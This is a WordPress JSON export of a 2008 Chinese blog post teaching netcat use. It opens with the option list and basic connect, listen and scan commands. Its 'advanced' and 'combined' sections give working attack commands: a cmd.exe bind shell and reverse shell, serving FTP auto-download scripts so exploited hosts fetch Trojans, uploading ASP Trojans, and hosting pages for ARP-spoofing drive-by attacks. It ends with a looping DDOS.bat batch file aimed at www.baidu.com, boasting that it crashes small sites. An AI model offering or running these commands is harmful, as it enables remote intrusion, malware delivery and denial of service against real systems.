{"id":135,"date":"2008-11-08T13:21:00","date_gmt":"2008-11-08T05:21:00","guid":{"rendered":""},"modified":"2013-11-24T21:28:14","modified_gmt":"2013-11-24T13:28:14","slug":"%e7%91%9e%e5%a3%ab%e5%86%9b%e5%88%80nc%e7%94%a8%e6%b3%95%e4%bb%8b%e7%bb%8d","status":"publish","type":"post","link":"https:\/\/kyle.ai\/blog\/135.html","title":{"rendered":"\u745e\u58eb\u519b\u5200NC\u7528\u6cd5\u4ecb\u7ecd"},"content":{"rendered":"<p>NC\u4ecb\u7ecd:<br \/>\nNC\u5168\u540d\u4e3aNetcat (\u7f51\u7edc\u5200),\u7b80\u79f0NC\uff0c\u4f5c\u8005\uff1aHobbit&amp;&amp;ChrisWysopal\u3002\u56e0\u4e3a\u5176\u529f\u80fd\u5341\u4efd\u5f3a\u5927\uff0c\u4f53\u79ef\u5c0f\u5de7<br \/>\n\u800c\u51fa\u540d\uff0c\u53c8\u88ab\u5927\u5bb6\u79f0\u4e3a &#8220;\u745e\u58eb\u519b\u5200&#8221;\u3002<\/p>\n<p>NC\u7684\u4f7f\u7528:<br \/>\n\u5728\u547d\u4ee4\u884c\u4e0b\u8f93\u5165nc.exe -h<wbr>\u5c31\u53ef\u4ee5\u770b\u5230\u5168\u90e8\u547d\u4ee4\u4e86\u3002\u5982\u4e0b\uff1a<\/wbr><\/p>\n<p>connect to somewhere:\u00a0\u00a0 nc [-options] hostname port[s] [ports] &#8230;<br \/>\nlisten for inbound:\u00a0\u00a0\u00a0\u00a0 nc -l -p port [options] [hostname] [port]<br \/>\noptions:<br \/>\n-d\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 detach from console, stealth mode<wbr><br \/>\n-e prog\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 inbound program to exec [dangerous!!]<br \/>\n-g gateway\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 source-routing hop point[s], up to 8<br \/>\n-G num\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 source-routing pointer: 4, 8, 12, &#8230;<br \/>\n-h\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 this cruft<br \/>\n-i secs\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 delay interval for lines sent, ports scanned<br \/>\n-l\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 listen mode, for inbound connects<br \/>\n-L\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 listen harder, re-listen on socket close<br \/>\n-n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 numeric-only IP addresses, no DNS<br \/>\n-o file\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 hex dump of traffic<br \/>\n-p port\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 local port number<br \/>\n-r\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 randomize local and remote ports<br \/>\n-s addr\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 local source address<br \/>\n-t\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 answer TELNET negotiation<br \/>\n-u\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 UDP mode<br \/>\n-v\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 verbose [use twice to be more verbose]<br \/>\n-w secs\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 timeout for connects and final net reads<br \/>\n-z\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 zero-I\/O mode [used for scanning]<br \/>\nport numbers can be individual or ranges: m-n <\/wbr><\/p>\n<p>\u4e3a\u4e86\u65b9\u4fbf\u7406\u89e3\uff0c\u6211\u628a\u53c2\u6570\u7ffb\u8bd1\u8fc7\u6765\uff1a<\/p>\n<p>-h<wbr>\u00a0\u00a0 \u67e5\u770b\u5e2e\u52a9\u4fe1\u606f<br \/>\n-d<wbr>\u00a0\u00a0 \u540e\u53f0\u6a21\u5f0f<br \/>\n-e<wbr>\u00a0\u00a0 prog\u7a0b\u5e8f\u91cd\u5b9a\u5411\uff0c\u4e00\u4f46\u8fde\u63a5\u5c31\u6267\u884c\uff3b\u5371\u9669\uff3d<br \/>\n-i<wbr>\u00a0\u00a0 secs\u5ef6\u65f6\u7684\u95f4\u9694<br \/>\n-l<wbr>\u00a0\u00a0 \u76d1\u542c\u6a21\u5f0f\uff0c\u7528\u4e8e\u5165\u7ad9\u8fde\u63a5<br \/>\n-L<wbr>\u00a0\u00a0 \u76d1\u542c\u6a21\u5f0f\uff0c\u8fde\u63a5\u5929\u95ed\u540e\u4ecd\u7136\u7ee7\u7eed\u76d1\u542c\uff0c\u76f4\u5230CTR+C<br \/>\n-n<wbr>\u00a0\u00a0 IP\u5730\u5740\uff0c\u4e0d\u80fd\u7528\u57df\u540d<br \/>\n-o<wbr>\u00a0\u00a0 film\u8bb0\u5f5516\u8fdb\u5236\u7684\u4f20\u8f93<br \/>\n-p<wbr> [\u7a7a\u683c]\u7aef\u53e3 \u672c\u5730\u7aef\u53e3\u53f7<br \/>\n-r<wbr>\u00a0\u00a0 \u968f\u673a\u672c\u5730\u53ca\u8fdc\u7a0b\u7aef\u53e3<br \/>\n-t<wbr>\u00a0\u00a0 \u4f7f\u7528Telnet\u4ea4\u4e92\u65b9\u5f0fUDP\u6a21\u5f0f<br \/>\n-v<wbr>\u00a0\u00a0 \u8be6\u7ec6\u8f93\u51fa\uff0c\u7528-vv\u5c06\u66f4\u8be6\u7ec6<br \/>\n-w<wbr> \u6570\u5b57 timeout\u5ef6\u65f6\u95f4\u9694<br \/>\n-z<wbr>\u00a0\u00a0 \u5c06\u8f93\u5165\uff0c\u8f93\u51fa\u5173\u6389\uff08\u7528\u4e8e\u626b\u951a\u65f6\uff09<\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/wbr><\/p>\n<p>\u5148\u8bb2\u8bb2\u4e00\u4e9b\u7b80\u5355\u7684\u7528\u6cd5\uff1a<\/p>\n<p>nc -nvv 192.168.0.1 80\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u8fde\u63a5\u5230192.168.0.1\u4e3b\u673a\u768480\u7aef\u53e3<br \/>\nnc -l -p 80\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u5f00\u542f\u672c\u673a\u7684TCP 80\u7aef\u53e3\u5e76\u76d1\u542c<br \/>\nnc -nvv -w2 -z 192.168.0.1 80-1024\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u626b\u951a192.168.0.1\u768480-1024\u7aef\u53e3<\/p>\n<p>\u9ad8\u7ea7\u7528\u6cd5\uff1a<\/p>\n<p>nc -L -p 3389\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u505a\u871c\u7f50\uff0c\u4e0d\u505c\u5730\u76d1\u542c3389\u7aef\u53e3<br \/>\nnc -L -p 3389&gt;c:\\log.txt\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u505a\u871c\u7f50\uff0c\u4e0d\u505c\u5730\u76d1\u542c3389\u7aef\u53e3,\u540c\u65f6\u628a\u7ed3\u679c\u8f93\u51fa\u5230c:\\log.txt<br \/>\nnc -L -p 3389&lt;c:\\ftp.txt\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u4e0d\u505c\u5730\u76d1\u542c3389\u7aef\u53e3,\u5e76\u628ac:\\ftp.txt\u4e2d\u5185\u5bb9\u53d1\u7ed9\u8fde\u63a5\u672c\u7aef\u53e3\u7684\u4e3b \u673a\uff0c\u53ef\u8d77\u5230\u4f20\u9001\u6587\u4ef6\u4f5c\u7528.(\u6b64\u7528\u6cd5\u7ecf\u5e38\u7528\u4e8e\u53cd\u5411\u6ea2\u51fa)<br \/>\nnc -l -p 2008 -t -e cmd.exe\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u7ed1\u5b9a\u4e3b\u673a\u7684cmd\u52302008\u7aef\u53e3\uff0c\u5e76\u4ee5TELNET\u65b9\u5f0f\u5e94\u7b54\u3002<br \/>\nnc -t -e cmd.exe 192.168.0.2 555\u00a0\u00a0 \u7ed1\u5b9acmd\u53cd\u5411\u8fde\u63a5192.168.0.2\u7684555\u7aef\u53e3\u4ee5TELNET\u65b9\u5f0f\u5e94\u7b54\u3002<\/p>\n<p>\u7ec4\u5408\u7528\u6cd5\uff1a<\/p>\n<p>1.\u6ea2\u51fa\u7528:<br \/>\nnc -L -p 8989&lt;c:\\ftp.txt<wbr>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 (ftp.txt\u4e2d\u4e3aFTP\u81ea\u52a8\u4e0b\u8f7d\u547d\u4ee4)<br \/>\n\u6548\u679c:\u4e00\u4f46\u6ea2\u51fa\u7684\u4e3b\u673a\u8fde\u63a58989\u7aef\u53e3\u5c31\u4f1a\u81ea\u52a8\u7528FTP\u4e0b\u8f7d\u6307\u5b9a\u7684\u6587\u4ef6,\u5982\u6728\u9a6c.(\u6b64\u6cd5\u7ecf\u5e38\u7528\u4e8e\u6279\u91cf\u6ea2\u51fa)<\/wbr><\/p>\n<p>2.\u8fd4\u56deCMD SHELL\u7528:<br \/>\n\u6b63\u5411\u8fde\u63a5\uff1a<br \/>\n\u5728\u8fdc\u7a0b\u4e3b\u673a\u4e0a\u8fd0\u884c nc -l -p 2008 -t -e cmd.exe<br \/>\n\u672c\u673a\u8fd0\u884c\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 nc -nvv 192.168.0.1 2008<br \/>\n\u8fde\u63a5\u6210\u529f\u5c31\u4f1a\u8fd4\u56de\u4e00\u4e2aCMD shell\u3002(\u7c7b\u4f3cTELNET)<br \/>\n\u53cd\u5411\u8fde\u63a5\uff1a<br \/>\n\u5148\u5728\u672c\u673a\u8fd0\u884c\u00a0\u00a0\u00a0\u00a0 nc -l -p 2008<br \/>\n\u5728\u8fdc\u7a0b\u4e3b\u673a\u4e0a\u8fd0\u884c nc -t -e cmd.exe 192.168.0.2 2008<br \/>\n\u8fde\u63a5\u6210\u529f\u5c31\u4f1a\u5f97\u5230\u4e00\u4e2aCMD shell\u3002(\u7c7b\u4f3cTELNET)<\/p>\n<p>3.\u4e0a\u4f20\u6587\u672c<br \/>\n\u672c\u673a\u8fd0\u884c\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 nc -vv www.baidu.com 80&lt;1.txt<wbr>\u00a0\u00a0 (\u6b64\u6cd5\u7ecf\u5e38\u7528\u4e8e\u4e0a\u4f20ASP\u6728\u9a6c<wbr>)<br \/>\n\u672c\u673a\u8fd0\u884c\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 nc -nvv 192.168.0.1 80&lt;1.txt\u00a0\u00a0\u00a0\u00a0 (\u5411192.168.0.1\u53d1\u90011.txt\u4e2d\u7684\u5185\u5bb9)<\/wbr><\/wbr><\/p>\n<p>\u672c\u4eba\u81ea\u521b\u7528\u6cd5\u548c\u5176\u4ed6\u53d8\u6001\u7528\u6cd5\uff1a<\/p>\n<p>\u4e00.NC\u67b6\u8bbe\u7b80\u5355\u7684HTTP\u670d\u52a1\u5668<br \/>\n\u672c\u673a\u8fd0\u884c\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 nc -l -p 80&lt;index.htm\u00a0\u00a0 (index.htm\u4e3a\u4e3b\u9875\u6587\u4ef6)<br \/>\n\u6ce8\uff1a\u6b64\u6cd5\u53ea\u80fd\u67b6\u8bbe\u7b80\u5355\u7684HTTP\u670d\u52a1\u5668\uff0c\u53ea\u6709\u4e00\u4e2a\u4e3b\u9875\u9875\u9762\uff0c\u591a\u4eba\u8bbf\u95ee\u8fd8\u4f1a\u5047\u6b7b\u3002\u6240\u4ee5\u53ea\u80fd\u73a9\u73a9\u7528\u3002<br \/>\n(\u4f46\u662f\u6b64\u6cd5\u7ecf\u5e38\u7528\u4e8e\u5c40\u57df\u7f51ARP\u6b3a\u9a97\u6302\u9a6c\u67b6\u8bbe\u7b80\u6613HTTP)<\/p>\n<p>\u4e8c.\u5229\u7528NC\u8fdb\u884cDDOS\u8f70\u70b8<br \/>\n\u672c\u673a\u8fd0\u884c\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 nc -vv www.baidu.com 80&lt;1.txt\u00a0\u00a0\u00a0\u00a0 (1.txt\u4e2d\u4e3a\u5783\u573e\u4fe1\u606f)<br \/>\n\u53ef\u4ee5\u7b80\u5355\u7684\u7528\u4e00\u4e2a\u6279\u5904\u7406\u5b9e\u73b0\u5faa\u73af\u653b\u51fb<br \/>\necho off<br \/>\ncolor a<br \/>\n:1<br \/>\ncls<br \/>\nnc -vv www.baidu.com 80&lt;1.txt<br \/>\ngoto 1<br \/>\n\u4fdd\u5b58\u4e3aDDOS.bat,\u8fd0\u884c\u5373\u53ef.<br \/>\n\u6ce8\uff1a\u6b64\u62db\u653b\u51fb\u4e00\u4e9b\u5c0f\u578b\u7f51\u7ad9\u5341\u5206\u7ba1\u7528\uff0c\u5c3d\u7ba1\u4e00\u53f0\u673a\u5668\u6548\u679c\u4e0d\u660e\u663e\uff0c\u4f46\u662f\u51e0\u5341\u53f0\u540c\u65f6\u8fd0\u884c\u6bcf\u53f0\u53c8\u540c\u65f6<br \/>\n\u8fd0\u884cN\u4e2a\uff0c\u7f51\u7ad9\u7684IIS\u5c31\u4f1a\u51fa\u9519\uff0c\u751a\u81f3\u6302\u6389\u3002(\u6b21\u62db\u5c61\u8bd5\u4e0d\u723d&#8230;..)\u563f\u563f&#8230;.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>NC\u4ecb\u7ecd: NC\u5168\u540d\u4e3aNetcat (\u7f51\u7edc\u5200),\u7b80\u79f0NC\uff0c\u4f5c\u8005\uff1aHobbit&amp;&amp;ChrisWy [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-135","post","type-post","status-publish","format-standard","hentry","category-code_related"],"_links":{"self":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/comments?post=135"}],"version-history":[{"count":2,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/135\/revisions"}],"predecessor-version":[{"id":5209,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/135\/revisions\/5209"}],"wp:attachment":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/media?parent=135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/categories?post=135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/tags?post=135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}